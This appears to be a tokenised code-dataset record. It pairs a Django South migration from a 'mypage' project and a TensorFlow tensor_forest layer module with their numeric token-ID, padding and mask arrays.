1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ella/mypage
mypage/pages/migrations/0003_change_default_value_on_site_fk.py
1
3108
from south.db import db from django.db import models from mypage.pages.models import * class Migration: def forwards(self, orm): # Changing field 'Page.site' db.alter_column('pages_page', 'site_id', models.ForeignKey(orm['sites.Site'], default= lambda :settings.SITE_ID)) def backwards(self, orm): # Changing field 'Page.site' db.alter_column('pages_page', 'site_id', models.ForeignKey(orm['sites.Site'])) models = { 'sites.site': { 'Meta': {'ordering': "('domain',)", 'db_table': "'django_site'"}, '_stub': True, 'id': ('models.AutoField', [], {'primary_key': 'True'}) }, 'pages.widgetinpage': { 'Meta': {'unique_together': "(('page','widget',),)"}, 'config_json': ('models.TextField', [], {}), 'id': ('models.AutoField', [], {'primary_key': 'True'}), 'page': ('models.ForeignKey', ["orm['pages.Page']"], {'verbose_name': "_('Page')"}), 'rendered_widget': ('models.ForeignKey', ["orm['widgets.RenderedWidget']"], {'null': 'False'}), 'state': ('models.SmallIntegerField', [], {'default': '2'}), 'widget': ('models.ForeignKey', ["orm['widgets.Widget']"], {'verbose_name': "_('Widget')"}) }, 'auth.user': { '_stub': True, 'id': ('models.AutoField', [], {'primary_key': 'True'}) }, 'widgets.widget': { '_stub': True, 'id': ('models.AutoField', [], {'primary_key': 'True'}) }, 'pages.page': { 'id': ('models.AutoField', [], {'primary_key': 'True'}), 'layout_json': ('models.TextField', [], {}), 'site': ('models.ForeignKey', ["orm['sites.Site']"], {'default': ' lambda :settings.SITE_ID'}), 'skin': ('models.CharField', [], {'default': "''", 'max_length': '100', 'blank': 'True'}), 'template': ('models.CharField', [], {'default': "'page.html'", 'max_length': '100'}), 'widgets': ('models.ManyToManyField', ["orm['widgets.Widget']"], {'through': "'WidgetInPage'"}) }, 'widgets.renderedwidget': { 'Meta': {'unique_together': "(('widget','state','site',),)"}, '_stub': True, 'id': ('models.AutoField', [], {'primary_key': 'True'}) }, 'pages.userpage': { 'Meta': {'_bases': ['mypage.pages.models.Page']}, 'page_ptr': ('models.OneToOneField', ["orm['pages.Page']"], {}), 'user': ('models.ForeignKey', ["orm['auth.User']"], {'unique': 'True'}) }, 'pages.sessionpage': { 'Meta': {'_bases': ['mypage.pages.models.Page']}, 'page_ptr': ('models.OneToOneField', ["orm['pages.Page']"], {}), 'session_key': ('models.CharField', ["_('session key')"], {'unique': 'True', 'max_length': '40'}), 'updated': ('models.DateTimeField', [], {'default': 'datetime.datetime.now', 'null': 'False'}) } } complete_apps = ['pages']
bsd-3-clause
[ 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 3002, 1606, 14, 5856, 14, 992, 492, 627, 199, 199, 533, 12090, 26, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 27854, 901, 283, 3276, 14, 2124, 7, 267, 1592, 14, 11858, 63, 2301, 360, 5856, 63, 1606, 297, 283, 2124, 63, 344, 297, 1709, 14, 3190, 8, 1025, 459, 8619, 14, 8972, 995, 849, 29, 2400, 520, 1751, 14, 7917, 63, 998, 430, 268, 17635, 347, 8552, 8, 277, 12, 9813, 304, 2728, 327, 27854, 901, 283, 3276, 14, 2124, 7, 267, 1592, 14, 11858, 63, 2301, 360, 5856, 63, 1606, 297, 283, 2124, 63, 344, 297, 1709, 14, 3190, 8, 1025, 459, 8619, 14, 8972, 5156, 268, 17635, 1709, 275, 469, 267, 283, 8619, 14, 2124, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 2261, 21099, 283, 697, 63, 1224, 356, 3546, 1176, 63, 2124, 15208, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 3440, 262, 1606, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 1606, 1673, 3440, 5529, 2924, 1386, 288, 283, 888, 63, 1001, 356, 661, 992, 14, 6254, 297, 990, 8613, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1606, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 791, 3832, 63, 354, 356, 2668, 360, 3276, 358, 5593, 288, 283, 16841, 63, 3440, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8583, 14, 5349, 2995, 3339, 418, 2255, 791, 2307, 356, 283, 797, 1604, 288, 283, 929, 356, 661, 992, 14, 14640, 297, 990, 791, 885, 356, 283, 18, 1604, 288, 283, 3440, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8583, 14, 3339, 418, 2255, 791, 3832, 63, 354, 356, 2668, 360, 3339, 358, 5984, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 8583, 14, 3440, 356, 469, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 1606, 356, 469, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 4209, 63, 1001, 356, 661, 992, 14, 6254, 297, 990, 8613, 288, 283, 2124, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8619, 14, 8972, 418, 2255, 791, 885, 356, 283, 2400, 520, 1751, 14, 7917, 63, 998, 1604, 288, 283, 16409, 356, 661, 992, 14, 2183, 297, 990, 791, 885, 356, 19605, 283, 988, 63, 1267, 356, 283, 1960, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 1160, 356, 661, 992, 14, 2183, 297, 990, 791, 885, 356, 3546, 1606, 14, 1360, 4662, 283, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 8583, 356, 661, 992, 14, 7624, 297, 2097, 1025, 459, 8583, 14, 3339, 418, 2255, 791, 8304, 356, 3546, 3339, 607, 3276, 4065, 1552, 267, 1660, 267, 283, 8583, 14, 16841, 3440, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 3440, 1673, 929, 1673, 2124, 5529, 2924, 1386, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 751, 1606, 356, 469, 288, 283, 3396, 356, 32136, 12087, 356, 788, 1662, 1606, 14, 5856, 14, 992, 14, 3276, 14949, 288, 283, 1606, 63, 4695, 356, 661, 992, 14, 14298, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 8613, 288, 283, 751, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 1178, 14, 1899, 418, 2255, 791, 3235, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 1730, 1606, 356, 469, 288, 283, 3396, 356, 32136, 12087, 356, 788, 1662, 1606, 14, 5856, 14, 992, 14, 3276, 14949, 288, 283, 1606, 63, 4695, 356, 661, 992, 14, 14298, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 8613, 288, 283, 1730, 63, 498, 356, 661, 992, 14, 2183, 297, 2097, 11252, 1730, 790, 358, 2255, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 2167, 1604, 288, 283, 5334, 356, 661, 992, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 297, 283, 2307, 356, 283, 797, 3071, 267, 789, 272, 789, 2286, 4890, 63, 5181, 275, 788, 5856, 418, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 504, 12919, 14, 697, 492, 1592, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 3002, 1606, 14, 5856, 14, 992, 492, 627, 199, 199, 533, 12090, 26, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 27854, 901, 283, 3276, 14, 2124, 7, 267, 1592, 14, 11858, 63, 2301, 360, 5856, 63, 1606, 297, 283, 2124, 63, 344, 297, 1709, 14, 3190, 8, 1025, 459, 8619, 14, 8972, 995, 849, 29, 2400, 520, 1751, 14, 7917, 63, 998, 430, 268, 17635, 347, 8552, 8, 277, 12, 9813, 304, 2728, 327, 27854, 901, 283, 3276, 14, 2124, 7, 267, 1592, 14, 11858, 63, 2301, 360, 5856, 63, 1606, 297, 283, 2124, 63, 344, 297, 1709, 14, 3190, 8, 1025, 459, 8619, 14, 8972, 5156, 268, 17635, 1709, 275, 469, 267, 283, 8619, 14, 2124, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 2261, 21099, 283, 697, 63, 1224, 356, 3546, 1176, 63, 2124, 15208, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 3440, 262, 1606, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 1606, 1673, 3440, 5529, 2924, 1386, 288, 283, 888, 63, 1001, 356, 661, 992, 14, 6254, 297, 990, 8613, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 1606, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 791, 3832, 63, 354, 356, 2668, 360, 3276, 358, 5593, 288, 283, 16841, 63, 3440, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8583, 14, 5349, 2995, 3339, 418, 2255, 791, 2307, 356, 283, 797, 1604, 288, 283, 929, 356, 661, 992, 14, 14640, 297, 990, 791, 885, 356, 283, 18, 1604, 288, 283, 3440, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8583, 14, 3339, 418, 2255, 791, 3832, 63, 354, 356, 2668, 360, 3339, 358, 5984, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 8583, 14, 3440, 356, 469, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 1606, 356, 469, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 4209, 63, 1001, 356, 661, 992, 14, 6254, 297, 990, 8613, 288, 283, 2124, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 8619, 14, 8972, 418, 2255, 791, 885, 356, 283, 2400, 520, 1751, 14, 7917, 63, 998, 1604, 288, 283, 16409, 356, 661, 992, 14, 2183, 297, 990, 791, 885, 356, 19605, 283, 988, 63, 1267, 356, 283, 1960, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 1160, 356, 661, 992, 14, 2183, 297, 990, 791, 885, 356, 3546, 1606, 14, 1360, 4662, 283, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 8583, 356, 661, 992, 14, 7624, 297, 2097, 1025, 459, 8583, 14, 3339, 418, 2255, 791, 8304, 356, 3546, 3339, 607, 3276, 4065, 1552, 267, 1660, 267, 283, 8583, 14, 16841, 3440, 356, 469, 288, 283, 3396, 356, 791, 3235, 63, 6314, 356, 9510, 3440, 1673, 929, 1673, 2124, 5529, 2924, 1386, 288, 2513, 5811, 356, 715, 12, 288, 283, 344, 356, 661, 992, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 751, 1606, 356, 469, 288, 283, 3396, 356, 32136, 12087, 356, 788, 1662, 1606, 14, 5856, 14, 992, 14, 3276, 14949, 288, 283, 1606, 63, 4695, 356, 661, 992, 14, 14298, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 8613, 288, 283, 751, 356, 661, 992, 14, 3190, 297, 2097, 1025, 459, 1178, 14, 1899, 418, 2255, 791, 3235, 356, 283, 549, 3071, 267, 1660, 267, 283, 5856, 14, 1730, 1606, 356, 469, 288, 283, 3396, 356, 32136, 12087, 356, 788, 1662, 1606, 14, 5856, 14, 992, 14, 3276, 14949, 288, 283, 1606, 63, 4695, 356, 661, 992, 14, 14298, 297, 2097, 1025, 459, 5856, 14, 3276, 418, 2255, 8613, 288, 283, 1730, 63, 498, 356, 661, 992, 14, 2183, 297, 2097, 11252, 1730, 790, 358, 2255, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 2167, 1604, 288, 283, 5334, 356, 661, 992, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 297, 283, 2307, 356, 283, 797, 3071, 267, 789, 272, 789, 2286, 4890, 63, 5181, 275, 788, 5856, 418, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
adamtiger/tensorflow
tensorflow/contrib/tensor_forest/hybrid/python/layers/decisions_to_data.py
133
9484
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Treats a decision tree as a representation transformation layer. A decision tree transformer takes features as input and returns the probability of reaching each leaf as output. The routing throughout the tree is learnable via backpropagation. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib.tensor_forest.hybrid.ops import gen_training_ops from tensorflow.contrib.tensor_forest.hybrid.python import hybrid_layer from tensorflow.contrib.tensor_forest.hybrid.python.ops import training_ops from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import variable_scope class DecisionsToDataLayer(hybrid_layer.HybridLayer): """A layer that treats soft decisions as data.""" def _define_vars(self, params, **kwargs): with ops.device(self.device_assigner): self.tree_parameters = variable_scope.get_variable( name='tree_parameters_%d' % self.layer_num, shape=[params.num_nodes, params.num_features], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) self.tree_thresholds = variable_scope.get_variable( name='tree_thresholds_%d' % self.layer_num, shape=[params.num_nodes], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) def __init__(self, params, layer_num, device_assigner, *args, **kwargs): super(DecisionsToDataLayer, self).__init__( params, layer_num, device_assigner, *args, **kwargs) self._training_ops = training_ops.Load() def inference_graph(self, data): with ops.device(self.device_assigner): routing_probabilities = gen_training_ops.routing_function( data, self.tree_parameters, self.tree_thresholds, max_nodes=self.params.num_nodes) output = array_ops.slice( routing_probabilities, [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return output class KFeatureDecisionsToDataLayer(hybrid_layer.HybridLayer): """A layer that treats soft decisions made on single features as data.""" def _define_vars(self, params, **kwargs): with ops.device(self.device_assigner): self.tree_parameters = variable_scope.get_variable( name='tree_parameters_%d' % self.layer_num, shape=[params.num_nodes, params.num_features_per_node], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) self.tree_thresholds = variable_scope.get_variable( name='tree_thresholds_%d' % self.layer_num, shape=[params.num_nodes], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) def __init__(self, params, layer_num, device_assigner, *args, **kwargs): super(KFeatureDecisionsToDataLayer, self).__init__( params, layer_num, device_assigner, *args, **kwargs) self._training_ops = training_ops.Load() # pylint: disable=unused-argument def inference_graph(self, data): with ops.device(self.device_assigner): routing_probabilities = gen_training_ops.k_feature_routing_function( data, self.tree_parameters, self.tree_thresholds, max_nodes=self.params.num_nodes, num_features_per_node=self.params.num_features_per_node, layer_num=0, random_seed=self.params.base_random_seed) output = array_ops.slice( routing_probabilities, [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return output class HardDecisionsToDataLayer(DecisionsToDataLayer): """A layer that learns a soft decision tree but treats it as hard at test.""" def _define_vars(self, params, **kwargs): with ops.device(self.device_assigner): self.tree_parameters = variable_scope.get_variable( name='hard_tree_parameters_%d' % self.layer_num, shape=[params.num_nodes, params.num_features], initializer=variable_scope.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) self.tree_thresholds = variable_scope.get_variable( name='hard_tree_thresholds_%d' % self.layer_num, shape=[params.num_nodes], initializer=variable_scope.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) def soft_inference_graph(self, data): return super(HardDecisionsToDataLayer, self).inference_graph(data) def inference_graph(self, data): with ops.device(self.device_assigner): path_probability, path = gen_training_ops.hard_routing_function( data, self.tree_parameters, self.tree_thresholds, max_nodes=self.params.num_nodes, tree_depth=self.params.hybrid_tree_depth) output = array_ops.slice( gen_training_ops.unpack_path(path, path_probability), [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return output class StochasticHardDecisionsToDataLayer(HardDecisionsToDataLayer): """A layer that learns a soft decision tree by sampling paths.""" def _define_vars(self, params, **kwargs): with ops.device(self.device_assigner): self.tree_parameters = variable_scope.get_variable( name='stochastic_hard_tree_parameters_%d' % self.layer_num, shape=[params.num_nodes, params.num_features], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) self.tree_thresholds = variable_scope.get_variable( name='stochastic_hard_tree_thresholds_%d' % self.layer_num, shape=[params.num_nodes], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) def soft_inference_graph(self, data): with ops.device(self.device_assigner): path_probability, path = ( gen_training_ops.stochastic_hard_routing_function( data, self.tree_parameters, self.tree_thresholds, tree_depth=self.params.hybrid_tree_depth, random_seed=self.params.base_random_seed)) output = array_ops.slice( gen_training_ops.unpack_path(path, path_probability), [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return output def inference_graph(self, data): with ops.device(self.device_assigner): path_probability, path = gen_training_ops.hard_routing_function( data, self.tree_parameters, self.tree_thresholds, max_nodes=self.params.num_nodes, tree_depth=self.params.hybrid_tree_depth) output = array_ops.slice( gen_training_ops.unpack_path(path, path_probability), [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return output class StochasticSoftDecisionsToDataLayer(StochasticHardDecisionsToDataLayer): """A layer that learns a soft decision tree by sampling paths.""" def _define_vars(self, params, **kwargs): with ops.device(self.device_assigner): self.tree_parameters = variable_scope.get_variable( name='stochastic_soft_tree_parameters_%d' % self.layer_num, shape=[params.num_nodes, params.num_features], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) self.tree_thresholds = variable_scope.get_variable( name='stochastic_soft_tree_thresholds_%d' % self.layer_num, shape=[params.num_nodes], initializer=init_ops.truncated_normal_initializer( mean=params.weight_init_mean, stddev=params.weight_init_std)) def inference_graph(self, data): with ops.device(self.device_assigner): routes = gen_training_ops.routing_function( data, self.tree_parameters, self.tree_thresholds, max_nodes=self.params.num_nodes) leaf_routes = array_ops.slice( routes, [0, self.params.num_nodes - self.params.num_leaves - 1], [-1, self.params.num_leaves]) return leaf_routes
apache-2.0
[ 3, 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 52, 264, 1956, 282, 14692, 3123, 465, 282, 6025, 13315, 4045, 14, 199, 199, 33, 14692, 3123, 21484, 6181, 4534, 465, 1324, 436, 2529, 314, 12224, 199, 1618, 12276, 316, 1924, 11747, 465, 1072, 14, 221, 710, 14870, 23088, 314, 3123, 365, 12537, 461, 199, 12897, 1771, 13535, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1483, 492, 3805, 63, 7588, 63, 1483, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1548, 492, 7188, 14601, 63, 1897, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1548, 14, 1483, 492, 6093, 63, 1483, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 4205, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1750, 63, 2645, 421, 199, 533, 1487, 559, 1356, 1378, 1451, 5003, 8, 27758, 63, 1897, 14, 21568, 14601, 5003, 304, 523, 408, 33, 4045, 626, 20991, 1956, 11620, 12985, 1356, 465, 666, 1041, 819, 347, 485, 4640, 63, 2936, 8, 277, 12, 1862, 12, 1011, 958, 304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 2541, 291, 14, 2350, 63, 3214, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 3214, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 12, 1862, 14, 1507, 63, 3179, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 2541, 291, 14, 2350, 63, 22611, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 22611, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 819, 347, 636, 826, 721, 277, 12, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 2049, 627, 589, 12, 1011, 958, 304, 272, 1613, 8, 872, 559, 1356, 1378, 1451, 5003, 12, 291, 2843, 826, 721, 267, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 627, 589, 12, 1011, 958, 9, 339, 291, 423, 7588, 63, 1483, 275, 6093, 63, 1483, 14, 6200, 342, 819, 347, 17353, 63, 2180, 8, 277, 12, 666, 